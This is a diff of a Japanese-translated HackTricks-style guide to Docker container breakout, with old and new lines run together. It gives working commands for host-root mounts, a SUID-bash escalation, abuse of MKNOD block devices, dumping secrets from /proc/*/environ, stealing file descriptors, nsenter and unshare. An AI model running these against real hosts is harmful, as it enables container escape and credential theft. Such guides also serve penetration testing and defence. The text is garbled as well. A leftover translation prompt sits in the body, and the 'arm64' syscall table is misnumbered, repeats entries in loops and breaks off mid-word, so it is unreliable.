#### 機密マウントの悪用による特権エスケープ #### 特権エスケープと感度の高いマウントの悪用
**ホストの基礎情報を提供する可能性のあるいくつかのファイル**がマウントされている場合があります。これらのファイルのいくつかは、**ホストが何かが起こったときに実行するものを示しているかもしれません**(これにより攻撃者はコンテナから脱出することができます)。 **ホストの基礎情報を提供する可能性のあるいくつかのマウントされたファイル**があります。それらの中には、**ホストが何かが起こったときに実行するものを示す場合さえある**かもしれません(これにより攻撃者はコンテナから脱出することができます)。
これらのファイルの悪用により、次のことが可能になります: これらのファイルの悪用により、次のことが可能になります:
@ -336,7 +348,7 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
- [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper) - [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper)
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) - [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
ただし、このページでチェックするための**他の機密ファイル**も見つけることができます: ただし、このページでチェックするための**他の感度の高いファイル**も見つけることができます:
{% content-ref url="sensitive-mounts.md" %} {% content-ref url="sensitive-mounts.md" %}
[sensitive-mounts.md](sensitive-mounts.md) [sensitive-mounts.md](sensitive-mounts.md)
@ -344,14 +356,14 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
### 任意のマウント ### 任意のマウント
いくつかの場合、**コンテナにはホストからのボリュームがマウントされている**ことがあります。このボリュームが正しく設定されていない場合、**機密データにアクセス/変更することができる**可能性がありますシークレットの読み取り、sshのauthorized_keysの変更... いくつかの場合、**コンテナにはホストからのボリュームがマウントされている**ことがあります。このボリュームが正しく設定されていない場合、**感度の高いデータにアクセス/変更することができる**可能性がありますシークレットの読み取り、sshのauthorized_keysの変更...
```bash ```bash
docker run --rm -it -v /:/host ubuntu bash docker run --rm -it -v /:/host ubuntu bash
``` ```
### 2つのシェルとホストマウントによる特権昇格 ### 2つのシェルとホストマウントによる特権昇格
もし、ホストの一部のフォルダがマウントされたコンテナ内で**rootとしてアクセス**でき、かつ**非特権ユーザーとしてホストにエスケープ**し、マウントされたフォルダに対して読み取りアクセス権がある場合、\ もし、ホストからマウントされたフォルダを持つコンテナ内で**rootとしてアクセス**でき、かつ**非特権ユーザーとしてホストにエスケープ**し、マウントされたフォルダに対して読み取りアクセス権を持っている場合、\
**コンテナ内のマウントされたフォルダ**に**bash suidファイル**を作成し、ホストからそれを実行することで特権昇格が可能です。 コンテナ内の**マウントされたフォルダ**に**bash suidファイル**を作成し、ホストからそれを実行することで特権昇格が可能です。
```bash ```bash
cp /bin/bash . #From non priv inside mounted folder cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container # You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -361,13 +373,13 @@ bash -p #From non priv inside mounted folder
``` ```
### 2つのシェルを使用した特権昇格 ### 2つのシェルを使用した特権昇格
もし、**コンテナ内でrootとしてアクセス**でき、**非特権ユーザーとしてホストから脱出**できた場合、コンテナ内でのMKNODの機能デフォルトで有効を悪用して、**ホスト内で特権昇格**を行うことができます。この方法は、[**この記事**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)で説明されています。\ もし、**コンテナ内でrootとしてアクセス**でき、かつ**非特権ユーザーとしてホストから脱出**できた場合、コンテナ内での特権昇格を行うために両方のシェルを悪用することができます。これは、コンテナ内でのデフォルトの機能であるMKNODの機能を利用することができるためです。詳細は[**この記事**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)で説明されています。\
この機能により、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**ハードウェアやカーネルモジュールにアクセス**するために使用される特殊なファイルです。たとえば、/dev/sdaのブロックデバイスファイルは、システムディスクの生データにアクセスすることができます。 この機能により、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**ハードウェアやカーネルモジュールにアクセス**するために使用される特殊なファイルです。たとえば、/dev/sdaのブロックデバイスファイルは、システムディスクの生データを**読み取るためのアクセス**を提供します。
Dockerは、ブロックデバイスが**コンテナ内から悪用されないように**、コンテナに対してcgroupポリシーを設定して読み書きをブロックします。\ Dockerは、ブロックデバイスが**コンテナ内から悪用されないように**、コンテナに対してcgroupポリシーを設定してブロックデバイスの読み書きをブロックします。\
ただし、もしブロックデバイスが**コンテナ内で作成された場合、コンテナの外部から/proc/PID/root/フォルダを介してアクセス**することができます。ただし、そのプロセスはコンテナの外部と内部で**同じユーザーによって所有されている必要があります**。 ただし、もしブロックデバイスが**コンテナ内で作成された場合、コンテナの外部から/proc/PID/root/フォルダを介してアクセス**することができます。ただし、制限として、プロセスはコンテナの外部と内部で**同じユーザーによって所有されている必要があります**。
**悪用**の例は、この[**解説記事**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)から引用されています。 **悪用**の例は、この[**解説記事**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)から引用ます。
```bash ```bash
# On the container as root # On the container as root
cd / cd /
@ -409,9 +421,11 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
``` ```
docker run --rm -it --pid=host ubuntu bash docker run --rm -it --pid=host ubuntu bash
``` ```
たとえば、`ps auxn`のようなものを使用してプロセスをリストアップし、コマンド内の機密情報を検索することができます 以下は、特権昇格に関するDockerセキュリティの内容です。以下の英文を日本語に翻訳し、同じマークダウンとHTMLの構文を保ったまま返してください。コード、ハッキング技術の名前、ハッキングに関連する単語、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、ペンテスト、マークダウンタグ以外のものは翻訳しないでください。また、翻訳とマークダウン構文以外の追加は行わないでください
次に、**/proc/の各プロセスにアクセスできるため、envの秘密情報を盗むことができます**。以下のコマンドを実行してください。 例えば、`ps auxn`のようなコマンドを使用してプロセスをリストアップし、コマンド内の機密情報を検索することができます。
次に、**/proc/内のホストの各プロセスにアクセスできるため、envの秘密情報を盗むことができます**。以下のコマンドを実行してください。
```bash ```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ /proc/988058/environ
@ -420,7 +434,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd USER=abrgocd
... ...
``` ```
他のプロセスのファイルディスクリプタにアクセスし、それらのオープンファイルを読むこともできます。 他のプロセスのファイルディスクリプタにアクセスし、それらのオープンされたファイルを読むこともできます。
```bash ```bash
for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt less fds.txt
@ -430,17 +444,17 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with: # You can open the secret filw with:
cat /proc/635813/fd/4 cat /proc/635813/fd/4
``` ```
あなたはまた、プロセスを**キルしてDoSを引き起こす**こともできます。 あなたはまた、プロセスを**終了させてDoSを引き起こす**こともできます。
{% hint style="warning" %} {% hint style="warning" %}
もし、コンテナの外部のプロセスに特権のある**アクセス権限を持っている場合**、`nsenter --target <pid> --all`または`nsenter --target <pid> --mount --net --pid --cgroup`のようなコマンドを実行して、そのプロセスと同じns制限望ましくはなしを持つシェルを**実行することができます** もし、コンテナの外部のプロセスに特権のある**アクセス権限を持っている場合**、`nsenter --target <pid> --all`または`nsenter --target <pid> --mount --net --pid --cgroup`のようなコマンドを実行して、**そのプロセスと同じns制限**(おそらくなし)**を持つシェルを実行する**ことができます
{% endhint %} {% endhint %}
### hostNetwork ### hostNetwork
``` ```
docker run --rm -it --network=host ubuntu bash docker run --rm -it --network=host ubuntu bash
``` ```
もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で設定されている場合、そのコンテナのネットワークスタックはDockerホストから分離されていません(コンテナはホストのネットワーキング名前空間を共有しています)、コンテナには独自のIPアドレスが割り当てられません。言い換えると、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェース上でホストが送受信している**すべてのネットワークトラフィックを傍受**することができます(`tcpdump -i eth0`)。 もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で設定されている場合、そのコンテナのネットワークスタックはDockerホストから分離されコンテナはホストのネットワーキング名前空間を共有しています、コンテナには独自のIPアドレスが割り当てられません。言い換えれば、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェース上でホストが送受信している**すべてのネットワークトラフィックを傍受**することができます(`tcpdump -i eth0`を使用)。
例えば、これを使用してホストとメタデータインスタンス間のトラフィックを**スニフィングやスプーフィング**することができます。 例えば、これを使用してホストとメタデータインスタンス間のトラフィックを**スニフィングやスプーフィング**することができます。
@ -449,11 +463,7 @@ docker run --rm -it --network=host ubuntu bash
* [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) * [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) * [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
また、ホスト内部で**localhostにバインドされたネットワークサービスにアクセス**したり、ノードの**メタデータの権限にアクセス**することもできます(これはコンテナがアクセスできるものとは異なる場合があります): また、ホスト内部から**localhostにバインドされたネットワークサービスにアクセス**したり、ノードの**メタデータの権限にアクセス**することもできます(これはコンテナがアクセスできるものとは異なる場合があります)。
{% content-ref url="../../docker-breakout/docker-breakout-privilege-escalation/broken-reference/" %}
[broken-reference](../../docker-breakout/docker-breakout-privilege-escalation/broken-reference/)
{% endcontent-ref %}
### hostIPC ### hostIPC
``` ```
@ -466,7 +476,7 @@ docker run --rm -it --ipc=host ubuntu bash
### 権限の回復 ### 権限の回復
もし`unshare`システムコールが禁止されていない場合、次のコマンドを実行することですべての権限を回復することができます: もし`unshare`シスコールが禁止されていない場合、次のコマンドを実行してすべての権限を回復することができます:
```bash ```bash
unshare -UrmCpf bash unshare -UrmCpf bash
# Check them with # Check them with
@ -474,12 +484,11 @@ cat /proc/self/status | grep CapEff
``` ```
### シンボリックリンクを使用したユーザーネームスペースの乱用 ### シンボリックリンクを使用したユーザーネームスペースの乱用
[https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)の記事で説明されている2番目のテクニックでは、ユーザーネームスペースを使用してバインドマウントを乱用し、ホスト内のファイル(特定の場合はファイルの削除)に影響を与える方法が示されています。 [https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)の記事で説明されている2番目のテクニックでは、ユーザーネームスペースを使用したバインドマウントの乱用により、ホスト内のファイル(特定の場合はファイルの削除)に影響を与える方法が示されています。
![](../../docker-breakout/.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) ![](<../../../../.gitbook/assets/image (9) (1) (2).png>)
\ [**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**することができます。\
今すぐアクセスを取得: 今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -505,9 +514,9 @@ cat /proc/self/status | grep CapEff
## Dockerカスタムエスケープ ## Dockerカスタムエスケープ
### Dockerエスケープの対象 ### Dockerエスケープの対象範囲
* **ネームスペース**:ネームスペースによって、プロセスは他のプロセスと完全に分離されるため、ネームスペースによる他のプロセスとのやり取りから脱出することはできませんデフォルトでは、IPCs、UNIXソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介した通信はできません)。 * **ネームスペース**:ネームスペースによって、プロセスは他のプロセスと完全に分離されるため、ネームスペースを介した他のプロセスとのやり取りから脱出することはできませんデフォルトでは、IPCs、UNIXソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介した通信はできません)。
* **ルートユーザー**:デフォルトでは、プロセスを実行するユーザーはルートユーザーです(ただし、権限は制限されています)。 * **ルートユーザー**:デフォルトでは、プロセスを実行するユーザーはルートユーザーです(ただし、権限は制限されています)。
* **機能**Dockerは次の機能を残します`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` * **機能**Dockerは次の機能を残します`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
* **シスコール**:これらはルートユーザーが呼び出せないシスコールです(機能の不足+Seccompのため。他のシスコールを使用して脱出を試みることができます。 * **シスコール**:これらはルートユーザーが呼び出せないシスコールです(機能の不足+Seccompのため。他のシスコールを使用して脱出を試みることができます。
@ -539,7 +548,7 @@ cat /proc/self/status | grep CapEff
以下は、arm64アーキテクチャで使用されるシステムコールの一覧です。 以下は、arm64アーキテクチャで使用されるシステムコールの一覧です。
| システムコール番号 | システムコール名 | | システムコール番号 | システムコール名 |
|-------------------|-----------------| |------------------|----------------|
| 0 | read | | 0 | read |
| 1 | write | | 1 | write |
| 2 | open | | 2 | open |
@ -910,41 +919,119 @@ cat /proc/self/status | grep CapEff
| 527 | pkey_alloc | | 527 | pkey_alloc |
| 528 | pkey_free | | 528 | pkey_free |
| 529 | statx | | 529 | statx |
| 530 | io_pgetevents | | 530 | rseq |
| 531 | rseq | | 531 | io_pgetevents |
| 532 | pidfd_send_signal | | 532 | semtimedop |
| 533 | io_uring_setup | | 533 | semget |
| 534 | io_uring_enter | | 534 | semctl |
| 535 | io_uring_register | | 535 | shmget |
| 536 | open_tree | | 536 | shmctl |
| 537 | move_mount | | 537 | shmat |
| 538 | fsopen | | 538 | shmdt |
| 539 | fsconfig | | 539 | msgget |
| 540 | fsmount | | 540 | msgsnd |
| 541 | fspick | | 541 | msgrcv |
| 542 | pidfd_open | | 542 | msgctl |
| 543 | clone3 | | 543 | clock_gettime |
| 544 | close_range | | 544 | clock_settime |
| 545 | openat2 | | 545 | clock_adjtime |
| 546 | pidfd_getfd | | 546 | clock_getres |
| 547 | faccessat2 | | 547 | clock_nanosleep |
| 548 | process_madvise | | 548 | timer_gettime |
| 549 | epoll_pwait2 | | 549 | timer_settime |
| 550 | mount_setattr | | 550 | timerfd_gettime |
| 551 | quotactl_fd | | 551 | timerfd_settime |
| 552 | landlock_create_ruleset | | 552 | utimensat |
| 553 | landlock_add_rule | | 553 | pselect6 |
| 554 | landlock_restrict_self | | 554 | ppoll |
| 555 | memfd_secret | | 555 | io_pgetevents_time64 |
| 556 | process_mrelease | | 556 | recvmmsg_time64 |
| 557 | pwritevf | | 557 | mq_timedsend_time64 |
| 558 | preadvf | | 558 | mq_timedreceive_time64 |
| 559 | fallocate64 | | 559 | semtimedop_time64 |
| 560 | fgetxattr | | 560 | rt_sigtimedwait_time64 |
| 561 | lgetxattr | | 561 | futex_time64 |
| 562 | fsetxattr | | 562 | sched_rr_get_interval_time64 |
| 563 | lsetxattr | | 563 | pidfd_send_signal |
| 564 | | 564 | io_uring_enter |
| 565 | io_uring_register |
| 566 | open_tree |
| 567 | move_mount |
| 568 | fsopen |
| 569 | fsconfig |
| 570 | fsmount |
| 571 | fspick |
| 572 | pidfd_open |
| 573 | clone3 |
| 574 | close_range |
| 575 | openat2 |
| 576 | pidfd_getfd |
| 577 | faccessat2 |
| 578 | process_madvise |
| 579 | epoll_pwait2 |
| 580 | mount_setattr |
| 581 | quotactl_fd |
| 582 | landlock_create_ruleset |
| 583 | landlock_add_rule |
| 584 | landlock_restrict_self |
| 585 | memfd_secret |
| 586 | process_mrelease |
| 587 | pwritevf |
| 588 | preadvf |
| 589 | fallocate |
| 590 | copy_file_range |
| 591 | copy_file_range2 |
| 592 | copy_file_range4 |
| 593 | futex_time64 |
| 594 | sched_rr_get_interval_time64 |
| 595 | io_pgetevents_time64 |
| 596 | recvmmsg_time64 |
| 597 | mq_timedsend_time64 |
| 598 | mq_timedreceive_time64 |
| 599 | semtimedop_time64 |
| 600 | rt_sigtimedwait_time64 |
| 601 | futex_time64 |
| 602 | sched_rr_get_interval_time64 |
| 603 | io_pgetevents_time64 |
| 604 | recvmmsg_time64 |
| 605 | mq_timedsend_time64 |
| 606 | mq_timedreceive_time64 |
| 607 | semtimedop_time64 |
| 608 | rt_sigtimedwait_time64 |
| 609 | futex_time64 |
| 610 | sched_rr_get_interval_time64 |
| 611 | io_pgetevents_time64 |
| 612 | recvmmsg_time64 |
| 613 | mq_timedsend_time64 |
| 614 | mq_timedreceive_time64 |
| 615 | semtimedop_time64 |
| 616 | rt_sigtimedwait_time64 |
| 617 | futex_time64 |
| 618 | sched_rr_get_interval_time64 |
| 619 | io_pgetevents_time64 |
| 620 | recvmmsg_time64 |
| 621 | mq_timedsend_time64 |
| 622 | mq_timedreceive_time64 |
| 623 | semtimedop_time64 |
| 624 | rt_sigtimedwait_time64 |
| 625 | futex_time64 |
| 626 | sched_rr_get_interval_time64 |
| 627 | io_pgetevents_time64 |
| 628 | recvmmsg_time64 |
| 629 | mq_timedsend_time64 |
| 630 | mq_timedreceive_time64 |
| 631 | semtimedop_time64 |
| 632 | rt_sigtimedwait_time64 |
| 633 | futex_time64 |
| 634 | sched_rr_get_interval_time64 |
| 635 | io_pgetevents_time64 |
| 636 | recvmmsg_time64 |
| 637 | mq_timedsend_time64 |
| 638 | mq_timedreceive_time64 |
| 639 | semtimedop_time64 |
| 640 | rt_sigtimedwait_time64 |
| 641 | futex_time64 |
| 642 | sched_rr_get_interval_time
``` ```
0x029 -- pivot_root 0x029 -- pivot_root
0x059 -- acct 0x059 -- acct
@ -1026,9 +1113,10 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) * [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) * [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
![](../../docker-breakout/.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
\
![](<../../../../.gitbook/assets/image (9) (1) (2).png>)
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today: Get Access Today:
@ -1041,7 +1129,7 @@ Get Access Today:
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>